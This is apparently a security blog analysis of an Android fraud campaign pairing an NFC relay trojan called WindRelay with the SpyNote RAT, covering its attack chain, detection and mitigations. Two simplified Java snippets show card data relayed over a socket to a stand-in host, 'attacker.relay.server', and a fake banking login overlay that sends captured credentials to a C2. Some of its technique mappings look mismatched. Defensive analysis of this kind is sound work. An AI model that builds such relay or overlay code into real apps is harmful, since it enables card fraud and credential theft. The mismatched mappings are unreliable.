Originally published on satyamrastogi.com

WindRelay NFC relay malware paired with SpyNote RAT enables attackers to intercept live payment card data, initiate fraudulent loans, and relay victim credentials in real-time. Analysis of attack chain, detection evasion, and defensive responses.

---

WindRelay + SpyNote: NFC Relay Malware Weaponizing Android Payment Systems

Executive Summary

A sophisticated Android malware campaign combines WindRelay, an NFC relay trojan, with SpyNote remote administration tool (RAT) to execute a multi-stage financial fraud operation. The attack chain enables real-time credit card interception, unauthorized loan origination, and credential exfiltration. This represents a significant escalation in mobile financial malware sophistication, moving beyond passive skimming to active transaction relay and account takeover.

From an offensive perspective, this campaign demonstrates how converging attack surfaces - NFC proximity exploitation combined with remote command execution - create low-friction pathways to financial assets. The pairing of passive relay capability with active RAT control maximizes operator flexibility and dwell time.

Attack Vector Analysis

NFC Relay Exploitation

WindRelay leverages Android NFC (Near Field Communication) capabilities to passively relay payment card data between victim devices and legitimate contactless payment terminals. This is not traditional NFC skimming - the malware doesn't forge transactions itself. Instead, it acts as a transparent proxy:

1. Victim device with infected app communicates with payment terminal
2. WindRelay intercepts NFC Type-A/B frames
3. Malware relays frames to attacker-controlled relay device positioned near merchant terminal
4. Attacker relay device presents card data to actual payment processor
5. Transaction processes, victim's phone shows normal confirmation
6. Card data simultaneously logged for later abuse

This attack pattern maps to MITRE ATT&CK T1597.001 (Search Open Websites/Domains) for reconnaissance and T1040 (Traffic Sniffing) for data interception, though adapted for wireless proximity.

SpyNote RAT Integration

SpyNote provides post-infection command execution and credential harvesting. Once installed alongside WindRelay, SpyNote enables operators to:

• Monitor victim device location and proximity to financial institutions
• Capture banking app login credentials via UI overlay attacks
• Initiate unauthorized loan applications using stolen identity data
• Relay SMS 2FA codes and OTPs in real-time
• Exfiltrate contact lists for social engineering targeting

This aligns with MITRE ATT&CK T1418 (Software Discovery) (banking app enumeration) and T1056.004 (Keylogging) for credential capture.

Technical Deep Dive

NFC Relay Implementation

WindRelay abuses Android's HCE (Host Card Emulation) API combined with NFC reader mode to create bidirectional relay channel:

// Simplified WindRelay relay logic
public class NFCRelayService extends Service {
 private NfcAdapter nfcAdapter;
 private Socket relaySocket;

 @Override
 public void onCreate() {
 super.onCreate();
 nfcAdapter = NfcAdapter.getDefaultAdapter(this);
 // Establish persistent connection to attacker C2
 relaySocket = connectToC2("attacker.relay.server", 5555);
 }

 // Monitor NFC frames in reader mode
 public void onNfcDiscovered(Tag tag) {
 byte[] cardResponse = ndefRead(tag);
 // Relay to attacker device
 relaySocket.getOutputStream().write(cardResponse);
 // Receive relayed transaction confirmation
 byte[] relayedResponse = relaySocket.getInputStream().readAllBytes();
 // Send back to legitimate terminal (transparent proxy)
 ndefWrite(tag, relayedResponse);
 }
}

Key evasion techniques observed in WindRelay:

1. Manifest obfuscation: Permissions declared as normal (not dangerous), bypassing Android 6+ runtime checks
2. NFC service backgrounding: Uses WorkManager to maintain relay capability after app backgrounding
3. Proximity geofencing: Relay functionality only activates within 100m of known merchant locations (reduces detection footprint)
4. Frame filtering: Silently drops non-payment NFC frames to avoid anomaly detection

SpyNote Banking Credential Capture

SpyNote uses accessibility service abuse combined with overlay attacks to harvest credentials:

// SpyNote banking app interception
class BankingAppMonitor extends AccessibilityService {
 private OverlayGenerator overlayGen = new OverlayGenerator();

 @Override
 public void onAccessibilityEvent(AccessibilityEvent event) {
 if (isBankingApp(event.getPackageName())) {
 // Trigger overlay login capture
 overlayGen.drawFakeLoginScreen(
 event.getPackageName(),
 getBankingAppIcon()
 );
 // Capture user input
 String capturedCredentials = waitForUserInput(5000);
 exfiltrateToC2(capturedCredentials);
 }
 }
}

The overlay targets specific banking app signatures, adjusting UI to match legitimate branding. Victim sees standard login prompt, unaware data flows to attacker.

Detection Strategies

Network-Level Detection

1. NFC relay anomalies: Monitor for sustained bidirectional NFC communication patterns outside normal user behavior. Legitimate payment terminals expect single-transaction exchanges; relay attacks show consistent frame forwarding
2. C2 beacon detection: SpyNote maintains periodic connectivity to C2. Look for encrypted outbound connections from system services (WorkManager spawned processes) to known attacker infrastructure
3. SMS interception logs: Unusual forwarding of SMS (especially OTP codes) to non-standard destinations

Host-Level Detection

# Android forensics: Check for WindRelay artifacts
adb shell grep -r "relaySocket" /data/data/ | grep -v com.android
# Enumerate accessibility services with unsuspicious names
adb shell dumpsys accessibility | grep "mAccessibilityServices"
# Monitor HCE service registration
adb shell dumpsys nfc | grep "mServices"

Behavioral Signals

• Device location clustering around financial institutions + banking app usage + NFC activation = high-confidence WindRelay pattern
• Accessibility service requesting both ACCESSIBILITY_SERVICE and BIND_NOTIFICATION_LISTENER_SERVICE in combo = credential harvesting prep
• SMS read access + outbound data exfiltration to unknown hosts = OTP relay

Mitigation & Hardening

For Enterprise/CISO Level

1. Mobile threat defense (MTD): Deploy solutions with NFC anomaly detection (Jamf, MobileIron, Microsoft Intune)
2. Banking app hardening requirements: Mandate OS-level attestation via SafetyNet/PlayIntegrity API in banking app policies
3. Payment tokenization enforcement: Require merchants to disable legacy magstripe relay and mandate EMV-only or contactless tokenization

For Application Developers

1. NFC frame authentication: Implement cryptographic signatures on all NFC frames to detect relay attacks
2. Accessibility service monitoring: Apps should detect when accessibility services are active and restrict sensitive operations
3. Proximity verification: Use Bluetooth/WiFi RSSI fingerprinting to verify payment terminal proximity matches NFC range expectations

For End Users

1. Disable NFC when not needed: Most Android users don't require always-on NFC
2. Restrict accessibility service permissions: Regularly audit Settings > Accessibility > Downloaded Apps
3. Use hardware wallets for high-value transactions: YubiKey NFC compatibility for Android provides relay-resistant payment authentication

Connection to Broader Attack Trends

WindRelay + SpyNote exemplifies the low-friction RCE chains dominating modern attack surfaces. Like supply chain trojans, this malware achieves legitimate distribution through app stores, then leverages secondary payloads for financial abuse.

Similarly to trojanized VPN extensions and supply chain compromises, attackers combine seemingly benign functionality (NFC relay, accessibility service) to build powerful attack primitives. The pattern repeats: initial access via trusted delivery mechanism, payload staging, then financial or credential exploitation.

This also represents a maturation of Android malware capabilities historically limited to SMS/call interception. By adding real-time transaction relay, attackers have elevated Android from a credential harvesting vector to a direct financial attack platform.

Key Takeaways

• NFC relay attacks bypass EMV encryption: Traditional terminal-to-bank authentication can be relayed without decryption, enabling attackers to use stolen cards immediately
• Accessibility service abuse remains unpatched: Android's accessibility API lacks runtime detection of suspicious behavior; enterprises must assume accessibility services = full device compromise
• Loan origination fraud requires identity context: WindRelay + SpyNote combination allows attackers to not just steal card data but also assume victim identity for new account creation
• Detection requires behavioral fusion: Single-layer detection (NFC anomaly OR suspicious app OR credential exfil) generates false positives; correlated behavioral analysis is necessary
• Hardware-backed payment authentication is critical: Phone-based payment is inherently compromisable; adopting hardware security keys or biometric-PIN fusion for payment authorization raises friction significantly

Related Articles

Windows Hello Abuse: Malware to Entra ID Persistence Chain - Demonstrates how authentication mechanisms can be weaponized for lateral movement, similar to credential harvesting in WindRelay

CSS Injection in Webmail: DOM Escape & Credential Harvesting - Explores overlay and injection techniques for capturing sensitive user input

Levi's Social Engineering Breach: Employee Compromise as Data Exfil Vector - Examines how credential theft leads to downstream account abuse and fraud

References

• MITRE ATT&CK Mobile Matrix
• NIST Mobile Device Security Guidance
• CISA Mobile Malware Analysis
• OWASP Mobile Security Testing Guide
• NVD Android Vulnerability Database